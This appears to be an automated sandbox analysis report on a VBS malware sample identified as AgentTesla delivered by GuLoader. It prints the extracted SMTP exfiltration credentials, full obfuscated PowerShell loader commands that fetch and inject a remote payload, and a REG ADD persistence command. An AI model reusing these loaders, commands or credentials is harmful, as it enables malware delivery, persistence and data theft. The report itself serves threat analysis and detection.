Analysis
-
max time kernel
155s -
max time network
162s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
28-03-2024 01:10
Static task
static1
Behavioral task
behavioral1
Sample
salaryinfo24.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
salaryinfo24.vbs
Resource
win10v2004-20240226-en
General
-
Target
salaryinfo24.vbs
-
Size
167KB
-
MD5
41bd6059396fdb7e5fd6692c003b58a0
-
SHA1
9da6c16a501a619e44652bf1eb3eea3012835f53
-
SHA256
9f20ac2fe0041feeda59946899fe0ae20d0d74de009990023102a7d902065324
-
SHA512
a79a1770e4aeefe5a72cc3478cd5fc59c9cfa85b9de644aef1e00c4971b065269c2f68e07223b3115695e88a0c798132fc2c8a52a6af4f0f44679ca5339ba119
-
SSDEEP
3072:UpK6/PeadLaz+kxSzn9Lj7rZeqGbHfNcckB+HGuG5Elx7d5czQON8Dh20PWgn:UpKyPeadLaz+k0zn1j7rZeqGbHfNcckk
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.myhydropowered.com - Port:
587 - Username:
[email protected] - Password:
0nVaQweHLu8RyVL - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 1 IoCs
Processes:
WScript.exeflow pid process 7 412 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
wab.exereg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FTSKIaM = "C:\\Users\\Admin\\AppData\\Roaming\\FTSKIaM\\FTSKIaM.exe" wab.exe Set value (str) \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Unbilleted% -w 1 $pseudoexperimental=(Get-ItemProperty -Path 'HKCU:\\Mulches\\').Udskrivningsskemaer;%Unbilleted% ($pseudoexperimental)" reg.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 83 api.ipify.org 84 api.ipify.org 86 ip-api.com -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 412 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 4516 powershell.exe 412 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 4516 set thread context of 412 4516 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry key 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exewab.exepid process 4160 powershell.exe 4160 powershell.exe 4516 powershell.exe 4516 powershell.exe 412 wab.exe 412 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 4516 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 4160 powershell.exe Token: SeDebugPrivilege 4516 powershell.exe Token: SeDebugPrivilege 412 wab.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
wab.exepid process 412 wab.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WScript.exepowershell.exepowershell.exewab.execmd.exedescription pid process target process PID 412 wrote to memory of 4160 412 WScript.exe powershell.exe PID 412 wrote to memory of 4160 412 WScript.exe powershell.exe PID 4160 wrote to memory of 4516 4160 powershell.exe powershell.exe PID 4160 wrote to memory of 4516 4160 powershell.exe powershell.exe PID 4160 wrote to memory of 4516 4160 powershell.exe powershell.exe PID 4516 wrote to memory of 412 4516 powershell.exe wab.exe PID 4516 wrote to memory of 412 4516 powershell.exe wab.exe PID 4516 wrote to memory of 412 4516 powershell.exe wab.exe PID 4516 wrote to memory of 412 4516 powershell.exe wab.exe PID 4516 wrote to memory of 412 4516 powershell.exe wab.exe PID 412 wrote to memory of 3084 412 wab.exe cmd.exe PID 412 wrote to memory of 3084 412 wab.exe cmd.exe PID 412 wrote to memory of 3084 412 wab.exe cmd.exe PID 3084 wrote to memory of 4936 3084 cmd.exe reg.exe PID 3084 wrote to memory of 4936 3084 cmd.exe reg.exe PID 3084 wrote to memory of 4936 3084 cmd.exe reg.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\salaryinfo24.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:412 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "++$Utilgngeligheds;++$Utilgngeligheds;$Utilgngeligheds=$Utilgngeligheds-1;Function Metrologue ($Reprsentantskabsmder116){$klr=5;$klr++;For($Tidsmangler=5; $Tidsmangler -lt $Reprsentantskabsmder116.Length-1; $Tidsmangler+=$klr){$Defoamers = 'substring';$Hemophthalmia=$Reprsentantskabsmder116.$Defoamers.Invoke($Tidsmangler, 1);$Translinguate=$Translinguate+$Hemophthalmia}$Translinguate;}$Ditetikker=Metrologue 'Stregh Fol t ConctHovedp F rds Velf: ,her/konce/Lus.ndAfslrr Skmmi nchavParoteL,jev.For,ygskfteoOpsamoAgentg.ompolCallgeIndic.Fil,ece.envo.ctinmEnigm/K vituF.lescCivil? JueceSin,uxChildpDefi.o epetrPodettQu dr=Extrad.mrkeo KordwIchulnVa kbl O.kloZe,inaEternd Ver & Hyp,iSeismdtresi=Udjvn1IndbeXUnhid_Conne_Propy8 PardNcirklqDenatLAk ivQAnebiNSubsilFr trHDetalAHitle_h nvi4Lynchctwofo9SkglaRFal,km D,ciXUns,ekDogma6pr,pyzFlejnUE,heroNo.dl_.nworvVersigSchoouKikrtlFejleQ squ.7Indety .rug ';$Planeta=$Ditetikker.split([char]62);$Ditetikker=$Planeta[0];$Socialmedicinen=Metrologue 'CrossiBe.ameStartxFrper ';$See = Metrologue ' Rets\TrentsNidify FedtsHi.towGemmeo fr.pwNonna6 Plou4Inexp\RigelW digiiTwinenBypladFe,choS,rtswSr,etsKalvePspirooDadarwP raleVaricrTinw S Abm,hBoligeCosyelQuinilFatti\ S mlvUdvik1Aaben. ,ndi0ansta\Pettip panooSt,klwGormaeSkelerunplas udfohNonreeEnganlGe frlSynth..ropiePunctxIng neH nde ';&($Socialmedicinen) (Metrologue 'Marga$Triphspl.nleArbejkYernssForstu TurnaBaerelska.mfCasewoTermor So ibBaan r S eay lasdNarcoeF.nallSn kksTram,e KrisnModehs Stru=imbur$StemneCymo,nUnempvfinm :Ar ejwScramiGrandn b,ysdFwgriiAwatsrMu.ed ') ;&($Socialmedicinen) (Metrologue ' sti,$SociaSTidebeFors,e Dish=Otosk$Ar,ussStolpeNonlokPresosKno suMgli,a ,onglImmatfJubilo Lok rFacadb KapirMa.esy Prs,dKi,seeDatallVindisNonreeSvalenLammesTw fa+arbej$ nuseSTilsieWand e Scol ') ;&($Socialmedicinen) (Metrologue 'Gusta$proinK AqueoAn.ngmMon.rp TidseS,iedtSerumee.dogn EmphcSandse UnmarSvennsSmara .once= Vel. ,rnen(t,mpe(forskgm riawArsenmGa triMutes Forplw hati Ind nYardg3Galej2 Moll_LividpRiv.rr Capro Try.c st teOmstrsBa kss Inf, Piaro-KongeFEenty M.dstPIntror.ouffoBe ogcSkomaetjenesPrecosLesatIChiasdTegne= Teah$Feltr{VelstPOps.nIAr.epDForsk}Enact)Gonfa. .ogiCJussioProvimUdklam LeafaLastvnForbudBarseL B weiRemisndetereD.tan)Eig t .mel- endisSikkepAnt,glEpitsiHardwtRi ik Undfa[Afkrac Az.xhTiptiaTetrarterm.]Myome3Sladd4G.nok ');&($Socialmedicinen) (Metrologue 'Radil$S,mekAK,gnitErigetForere.esidnSto.at,riboi U,troPro.pn.dekosUnpre Husp.=Uddan Indek$ IsthKBegrdoaldremfe thpSeroge ErsttPiglieCoachnLancicVanr,ecrepyrBreatsAn el[ Blge$To.peKTri,uoPele,mTilvrpSarceeTelegtTaph e ag,pnContrcLo.sseUrethr ,eolsCowga. BrdmcBesmuoFuldtuElkernPul.otSailf-Nyska2 Show] Bedu ');&($Socialmedicinen) (Metrologue '.kubo$ TidsM,earbiAkklim Dem mHikkeo Fla o App dFadmo= r.gs( IndtT So ieLettisOverltKrust-G,vstPExtinaKure tFor,rhUnder ,ncy$UdpnsS Trylefav.peKitog)Lede, Dross-viscoAExcepnEkspodLsbod C tha(Sagin[ Ru.eIStat.nSkab.t Bum.PElneatUngkarToxap]K ind: Obdu:Rett sinhumi NitazHuleke Subt ands-Mo,aseBedraqShei, ontr8 Wa,e)Downw ') ;if ($Mimmood) {.$See $Attentions;} else {;$Frihedsbervelserne=Metrologue 'TomboS.lloftSchooaGiganr urwtZagua-CurviBTantriRegartKystlsSeapiTtri.arC.lsiaCerutnMountsugunsffemkae ForkrSpoil Sekre-,nneaSBiviaoBacchuretinr PaabchieroeTilba Mist$ usenDklarlitilsmtko.teeFunnitVal fiOrobakPuckekNeighe MinirDesse phym-pilg.DVersaeC.selsGush tG,nasij.stindokuma.dtalt thori GramoFlossnVishn Eup,$Arbejs,dloseNymfok Ku,asPedeluUnd.raFor.klOpk.mfPycnooS otsrWoolsbHypotrSlatcyDiscadEscoreTilbal.gerksTronfeUnpranappensKoor ';&($Socialmedicinen) (Metrologue 'Orr.o$FallesS adseAbscikBu,easRecliu Bru a.amselSociafT,ksto Sextr SamabcontrrFrigiyMillidRdby,eTomlelDistas ucusePeronnN.ttesSvrge=F.rie$ClunkeCrewinsketcv jert: ToetaSist p orfgpResiddBorgea FisstBejdsa Idep ') ;&($Socialmedicinen) (Metrologue 'Met,zImacr,m KaffpForm oBlo mr Sydat Till- hjemMUnperoDecatdAutomutelevl kontebeslu LovbrBMa.jai,rivitbap.isTjrehTdeterrPube.aEjendnDeskrsad,rdfT angeVerr r,hary ') ;$seksualforbrydelsens=$seksualforbrydelsens+'\Socialbegivenhed.Mis';while (-not $Reaccess) {&($Socialmedicinen) (Metrologue 'Pausa$dis aR DolieOmnira V,dic RebacUdfakeInhumsRespusDisho=,rund( MennT AftreOuttasSavagt Relu-.ysnoPOversa AswitSkydehOmsti F.lla$UnpitsSkrideSvendkRkenssAn aruFinlnaSchumlReprifAlvisoRetsprAfprobindanrAnt,ky Copad,ilmse nderlTagalsBlinde ApplnRetrosUndig)Feuda ') ;&($Socialmedicinen) $Frihedsbervelserne;&($Socialmedicinen) (Metrologue 'KraveStokentatheraArch,r .midtVokab-Ch cqSEm yrlDroskeStatueAnisyp Offe A.gus5Fo re ');$Ditetikker=$Planeta[$Djibouti++%$Planeta.count];}&($Socialmedicinen) (Metrologue ' Afm,$GlebeW Per.iInflun RestdToluioSkrudwS.rdaeNogendAssor8Un,he4Fe.do Risot= Para KolonGCureleSuprat Ove,- Pan C bstoBttennudplatRattoeHiccunRaphatBolig Lo.om$Bo,frs LadkeCi ilkamtets Eneru,evyea Fi,elGelatfRoucooBobnirHul ibXenomr EskayGetupdStorme rythl Gi,ssRestaeSt.nunHakkesAnfrs ');&($Socialmedicinen) (Metrologue 'E,tra$UnflanB,aase Angip .eniaRadiolGifteepromisWeig,iJo.udsTindekS,der D,spe=Moons Hedge[korfiSEarwiyFemkmsplagitWagnae ShremGipni.Oste,CThreaoT,ermnDimetvWe.tneAchi r,epott Ce l] Redo:Whigg:Mo uaFNonrerRe.reo,kattmOntolBHvssea Fl msTrvleeFdrel6S,ste4Suga SArsmet Ifrer.tilniCunctnUn,ergUdson(Skole$ StofW Ultri wettnSte bdLynbroProgrwUglereBal.adUnund8Appel4dipo,)Myelo ');&($Socialmedicinen) (Metrologue 'Repet$ca.baKBifroa,rusnn neumj BehoaAr,ors Pun, egn= .sen Vi ks[Rom.nSCystey TyvesEupadt.evineSirenmHairs.FichuTPlysseOphrfxMat,ot C,ic.EndopEKo frnFu ktcklatgoSystedSvingiM,kronBrolgg Lorn]Maled: Bimb:Deli AS,minSBlankC.ilkeITrachISkrif.LykkeGUnatte Nynatl.yerSS mtytM strrTekstiEnevrnFjerng ival(P,ano$KvatonKomp,eMisfopFors a Undel Forse.apabspyeliiTele.sUnshakKabin)Ti,lg ');&($Socialmedicinen) (Metrologue 'Thimb$ForgaR InteeSo,rbk CarrtStandiThermfAtt.iimu,kecFontie Fem.rDen,giPhycon HoopgDedukeLoqfonConci=Staph$Pa,goKove faUddepnStilej ,rowa FisksMenne.ElefssRockyuPlectbPe,nisTerritsteeprNonhoiHand.n RedugCocco(Paami3 Fab 1Styli9Nonsy3Vokse1Dis,r0busko,Tro.h2,pilo4 Cest0Gumbo2 ring4Jocoq)Sackm ');&($Socialmedicinen) $Rektificeringen;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "++$Utilgngeligheds;++$Utilgngeligheds;$Utilgngeligheds=$Utilgngeligheds-1;Function Metrologue ($Reprsentantskabsmder116){$klr=5;$klr++;For($Tidsmangler=5; $Tidsmangler -lt $Reprsentantskabsmder116.Length-1; $Tidsmangler+=$klr){$Defoamers = 'substring';$Hemophthalmia=$Reprsentantskabsmder116.$Defoamers.Invoke($Tidsmangler, 1);$Translinguate=$Translinguate+$Hemophthalmia}$Translinguate;}$Ditetikker=Metrologue 'Stregh Fol t ConctHovedp F rds Velf: ,her/konce/Lus.ndAfslrr Skmmi nchavParoteL,jev.For,ygskfteoOpsamoAgentg.ompolCallgeIndic.Fil,ece.envo.ctinmEnigm/K vituF.lescCivil? JueceSin,uxChildpDefi.o epetrPodettQu dr=Extrad.mrkeo KordwIchulnVa kbl O.kloZe,inaEternd Ver & Hyp,iSeismdtresi=Udjvn1IndbeXUnhid_Conne_Propy8 PardNcirklqDenatLAk ivQAnebiNSubsilFr trHDetalAHitle_h nvi4Lynchctwofo9SkglaRFal,km D,ciXUns,ekDogma6pr,pyzFlejnUE,heroNo.dl_.nworvVersigSchoouKikrtlFejleQ squ.7Indety .rug ';$Planeta=$Ditetikker.split([char]62);$Ditetikker=$Planeta[0];$Socialmedicinen=Metrologue 'CrossiBe.ameStartxFrper ';$See = Metrologue ' Rets\TrentsNidify FedtsHi.towGemmeo fr.pwNonna6 Plou4Inexp\RigelW digiiTwinenBypladFe,choS,rtswSr,etsKalvePspirooDadarwP raleVaricrTinw S Abm,hBoligeCosyelQuinilFatti\ S mlvUdvik1Aaben. ,ndi0ansta\Pettip panooSt,klwGormaeSkelerunplas udfohNonreeEnganlGe frlSynth..ropiePunctxIng neH nde ';&($Socialmedicinen) (Metrologue 'Marga$Triphspl.nleArbejkYernssForstu TurnaBaerelska.mfCasewoTermor So ibBaan r S eay lasdNarcoeF.nallSn kksTram,e KrisnModehs Stru=imbur$StemneCymo,nUnempvfinm :Ar ejwScramiGrandn b,ysdFwgriiAwatsrMu.ed ') ;&($Socialmedicinen) (Metrologue ' sti,$SociaSTidebeFors,e Dish=Otosk$Ar,ussStolpeNonlokPresosKno suMgli,a ,onglImmatfJubilo Lok rFacadb KapirMa.esy Prs,dKi,seeDatallVindisNonreeSvalenLammesTw fa+arbej$ nuseSTilsieWand e Scol ') ;&($Socialmedicinen) (Metrologue 'Gusta$proinK AqueoAn.ngmMon.rp TidseS,iedtSerumee.dogn EmphcSandse UnmarSvennsSmara .once= Vel. ,rnen(t,mpe(forskgm riawArsenmGa triMutes Forplw hati Ind nYardg3Galej2 Moll_LividpRiv.rr Capro Try.c st teOmstrsBa kss Inf, Piaro-KongeFEenty M.dstPIntror.ouffoBe ogcSkomaetjenesPrecosLesatIChiasdTegne= Teah$Feltr{VelstPOps.nIAr.epDForsk}Enact)Gonfa. .ogiCJussioProvimUdklam LeafaLastvnForbudBarseL B weiRemisndetereD.tan)Eig t .mel- endisSikkepAnt,glEpitsiHardwtRi ik Undfa[Afkrac Az.xhTiptiaTetrarterm.]Myome3Sladd4G.nok ');&($Socialmedicinen) (Metrologue 'Radil$S,mekAK,gnitErigetForere.esidnSto.at,riboi U,troPro.pn.dekosUnpre Husp.=Uddan Indek$ IsthKBegrdoaldremfe thpSeroge ErsttPiglieCoachnLancicVanr,ecrepyrBreatsAn el[ Blge$To.peKTri,uoPele,mTilvrpSarceeTelegtTaph e ag,pnContrcLo.sseUrethr ,eolsCowga. BrdmcBesmuoFuldtuElkernPul.otSailf-Nyska2 Show] Bedu ');&($Socialmedicinen) (Metrologue '.kubo$ TidsM,earbiAkklim Dem mHikkeo Fla o App dFadmo= r.gs( IndtT So ieLettisOverltKrust-G,vstPExtinaKure tFor,rhUnder ,ncy$UdpnsS Trylefav.peKitog)Lede, Dross-viscoAExcepnEkspodLsbod C tha(Sagin[ Ru.eIStat.nSkab.t Bum.PElneatUngkarToxap]K ind: Obdu:Rett sinhumi NitazHuleke Subt ands-Mo,aseBedraqShei, ontr8 Wa,e)Downw ') ;if ($Mimmood) {.$See $Attentions;} else {;$Frihedsbervelserne=Metrologue 'TomboS.lloftSchooaGiganr urwtZagua-CurviBTantriRegartKystlsSeapiTtri.arC.lsiaCerutnMountsugunsffemkae ForkrSpoil Sekre-,nneaSBiviaoBacchuretinr PaabchieroeTilba Mist$ usenDklarlitilsmtko.teeFunnitVal fiOrobakPuckekNeighe MinirDesse phym-pilg.DVersaeC.selsGush tG,nasij.stindokuma.dtalt thori GramoFlossnVishn Eup,$Arbejs,dloseNymfok Ku,asPedeluUnd.raFor.klOpk.mfPycnooS otsrWoolsbHypotrSlatcyDiscadEscoreTilbal.gerksTronfeUnpranappensKoor ';&($Socialmedicinen) (Metrologue 'Orr.o$FallesS adseAbscikBu,easRecliu Bru a.amselSociafT,ksto Sextr SamabcontrrFrigiyMillidRdby,eTomlelDistas ucusePeronnN.ttesSvrge=F.rie$ClunkeCrewinsketcv jert: ToetaSist p orfgpResiddBorgea FisstBejdsa Idep ') ;&($Socialmedicinen) (Metrologue 'Met,zImacr,m KaffpForm oBlo mr Sydat Till- hjemMUnperoDecatdAutomutelevl kontebeslu LovbrBMa.jai,rivitbap.isTjrehTdeterrPube.aEjendnDeskrsad,rdfT angeVerr r,hary ') ;$seksualforbrydelsens=$seksualforbrydelsens+'\Socialbegivenhed.Mis';while (-not $Reaccess) {&($Socialmedicinen) (Metrologue 'Pausa$dis aR DolieOmnira V,dic RebacUdfakeInhumsRespusDisho=,rund( MennT AftreOuttasSavagt Relu-.ysnoPOversa AswitSkydehOmsti F.lla$UnpitsSkrideSvendkRkenssAn aruFinlnaSchumlReprifAlvisoRetsprAfprobindanrAnt,ky Copad,ilmse nderlTagalsBlinde ApplnRetrosUndig)Feuda ') ;&($Socialmedicinen) $Frihedsbervelserne;&($Socialmedicinen) (Metrologue 'KraveStokentatheraArch,r .midtVokab-Ch cqSEm yrlDroskeStatueAnisyp Offe A.gus5Fo re ');$Ditetikker=$Planeta[$Djibouti++%$Planeta.count];}&($Socialmedicinen) (Metrologue ' Afm,$GlebeW Per.iInflun RestdToluioSkrudwS.rdaeNogendAssor8Un,he4Fe.do Risot= Para KolonGCureleSuprat Ove,- Pan C bstoBttennudplatRattoeHiccunRaphatBolig Lo.om$Bo,frs LadkeCi ilkamtets Eneru,evyea Fi,elGelatfRoucooBobnirHul ibXenomr EskayGetupdStorme rythl Gi,ssRestaeSt.nunHakkesAnfrs ');&($Socialmedicinen) (Metrologue 'E,tra$UnflanB,aase Angip .eniaRadiolGifteepromisWeig,iJo.udsTindekS,der D,spe=Moons Hedge[korfiSEarwiyFemkmsplagitWagnae ShremGipni.Oste,CThreaoT,ermnDimetvWe.tneAchi r,epott Ce l] Redo:Whigg:Mo uaFNonrerRe.reo,kattmOntolBHvssea Fl msTrvleeFdrel6S,ste4Suga SArsmet Ifrer.tilniCunctnUn,ergUdson(Skole$ StofW Ultri wettnSte bdLynbroProgrwUglereBal.adUnund8Appel4dipo,)Myelo ');&($Socialmedicinen) (Metrologue 'Repet$ca.baKBifroa,rusnn neumj BehoaAr,ors Pun, egn= .sen Vi ks[Rom.nSCystey TyvesEupadt.evineSirenmHairs.FichuTPlysseOphrfxMat,ot C,ic.EndopEKo frnFu ktcklatgoSystedSvingiM,kronBrolgg Lorn]Maled: Bimb:Deli AS,minSBlankC.ilkeITrachISkrif.LykkeGUnatte Nynatl.yerSS mtytM strrTekstiEnevrnFjerng ival(P,ano$KvatonKomp,eMisfopFors a Undel Forse.apabspyeliiTele.sUnshakKabin)Ti,lg ');&($Socialmedicinen) (Metrologue 'Thimb$ForgaR InteeSo,rbk CarrtStandiThermfAtt.iimu,kecFontie Fem.rDen,giPhycon HoopgDedukeLoqfonConci=Staph$Pa,goKove faUddepnStilej ,rowa FisksMenne.ElefssRockyuPlectbPe,nisTerritsteeprNonhoiHand.n RedugCocco(Paami3 Fab 1Styli9Nonsy3Vokse1Dis,r0busko,Tro.h2,pilo4 Cest0Gumbo2 ring4Jocoq)Sackm ');&($Socialmedicinen) $Rektificeringen;}"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4516 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:412 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Unbilleted% -w 1 $pseudoexperimental=(Get-ItemProperty -Path 'HKCU:\Mulches\').Udskrivningsskemaer;%Unbilleted% ($pseudoexperimental)"5⤵
- Suspicious use of WriteProcessMemory
PID:3084 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Unbilleted% -w 1 $pseudoexperimental=(Get-ItemProperty -Path 'HKCU:\Mulches\').Udskrivningsskemaer;%Unbilleted% ($pseudoexperimental)"6⤵
- Adds Run key to start application
- Modifies registry key
PID:4936
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fzkbtnce.pcy.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/412-89-0x0000000074800000-0x0000000074FB0000-memory.dmpFilesize
7.7MB
-
memory/412-88-0x000000001FF00000-0x000000001FF0A000-memory.dmpFilesize
40KB
-
memory/412-87-0x0000000023480000-0x0000000023512000-memory.dmpFilesize
584KB
-
memory/412-86-0x0000000023390000-0x00000000233E0000-memory.dmpFilesize
320KB
-
memory/412-77-0x0000000074800000-0x0000000074FB0000-memory.dmpFilesize
7.7MB
-
memory/412-75-0x0000000000D00000-0x0000000000D42000-memory.dmpFilesize
264KB
-
memory/412-74-0x0000000000D00000-0x0000000001F54000-memory.dmpFilesize
18.3MB
-
memory/412-67-0x0000000000D00000-0x0000000001F54000-memory.dmpFilesize
18.3MB
-
memory/412-60-0x0000000077221000-0x0000000077341000-memory.dmpFilesize
1.1MB
-
memory/412-59-0x00000000772A8000-0x00000000772A9000-memory.dmpFilesize
4KB
-
memory/412-58-0x0000000001F60000-0x0000000004574000-memory.dmpFilesize
38.1MB
-
memory/4160-45-0x0000025A7D3B0000-0x0000025A7D3C0000-memory.dmpFilesize
64KB
-
memory/4160-44-0x00007FFE7CBC0000-0x00007FFE7D681000-memory.dmpFilesize
10.8MB
-
memory/4160-9-0x0000025A7F9D0000-0x0000025A7F9F2000-memory.dmpFilesize
136KB
-
memory/4160-15-0x0000025A7D3B0000-0x0000025A7D3C0000-memory.dmpFilesize
64KB
-
memory/4160-14-0x00007FFE7CBC0000-0x00007FFE7D681000-memory.dmpFilesize
10.8MB
-
memory/4160-16-0x0000025A7D3B0000-0x0000025A7D3C0000-memory.dmpFilesize
64KB
-
memory/4160-81-0x00007FFE7CBC0000-0x00007FFE7D681000-memory.dmpFilesize
10.8MB
-
memory/4160-48-0x0000025A7D3B0000-0x0000025A7D3C0000-memory.dmpFilesize
64KB
-
memory/4160-46-0x0000025A7D3B0000-0x0000025A7D3C0000-memory.dmpFilesize
64KB
-
memory/4516-53-0x0000000005530000-0x0000000005531000-memory.dmpFilesize
4KB
-
memory/4516-28-0x0000000005650000-0x00000000056B6000-memory.dmpFilesize
408KB
-
memory/4516-42-0x00000000072E0000-0x0000000007302000-memory.dmpFilesize
136KB
-
memory/4516-33-0x00000000056C0000-0x0000000005A14000-memory.dmpFilesize
3.3MB
-
memory/4516-41-0x0000000007CB0000-0x0000000008254000-memory.dmpFilesize
5.6MB
-
memory/4516-40-0x0000000006C80000-0x0000000006CA2000-memory.dmpFilesize
136KB
-
memory/4516-49-0x0000000074800000-0x0000000074FB0000-memory.dmpFilesize
7.7MB
-
memory/4516-50-0x00000000048B0000-0x00000000048C0000-memory.dmpFilesize
64KB
-
memory/4516-51-0x00000000048B0000-0x00000000048C0000-memory.dmpFilesize
64KB
-
memory/4516-52-0x00000000048B0000-0x00000000048C0000-memory.dmpFilesize
64KB
-
memory/4516-34-0x0000000005C80000-0x0000000005C9E000-memory.dmpFilesize
120KB
-
memory/4516-54-0x0000000008260000-0x000000000A874000-memory.dmpFilesize
38.1MB
-
memory/4516-55-0x0000000008260000-0x000000000A874000-memory.dmpFilesize
38.1MB
-
memory/4516-56-0x0000000077221000-0x0000000077341000-memory.dmpFilesize
1.1MB
-
memory/4516-57-0x0000000008260000-0x000000000A874000-memory.dmpFilesize
38.1MB
-
memory/4516-43-0x0000000007380000-0x0000000007394000-memory.dmpFilesize
80KB
-
memory/4516-22-0x0000000004E50000-0x0000000004EB6000-memory.dmpFilesize
408KB
-
memory/4516-21-0x0000000004DB0000-0x0000000004DD2000-memory.dmpFilesize
136KB
-
memory/4516-20-0x0000000004EF0000-0x0000000005518000-memory.dmpFilesize
6.2MB
-
memory/4516-18-0x0000000074800000-0x0000000074FB0000-memory.dmpFilesize
7.7MB
-
memory/4516-19-0x00000000048B0000-0x00000000048C0000-memory.dmpFilesize
64KB
-
memory/4516-76-0x0000000074800000-0x0000000074FB0000-memory.dmpFilesize
7.7MB
-
memory/4516-17-0x0000000002340000-0x0000000002376000-memory.dmpFilesize
216KB
-
memory/4516-78-0x0000000008260000-0x000000000A874000-memory.dmpFilesize
38.1MB
-
memory/4516-39-0x0000000006CF0000-0x0000000006D86000-memory.dmpFilesize
600KB
-
memory/4516-38-0x0000000006210000-0x000000000622A000-memory.dmpFilesize
104KB
-
memory/4516-37-0x0000000007630000-0x0000000007CAA000-memory.dmpFilesize
6.5MB
-
memory/4516-36-0x00000000048B0000-0x00000000048C0000-memory.dmpFilesize
64KB
-
memory/4516-35-0x0000000005CC0000-0x0000000005D0C000-memory.dmpFilesize
304KB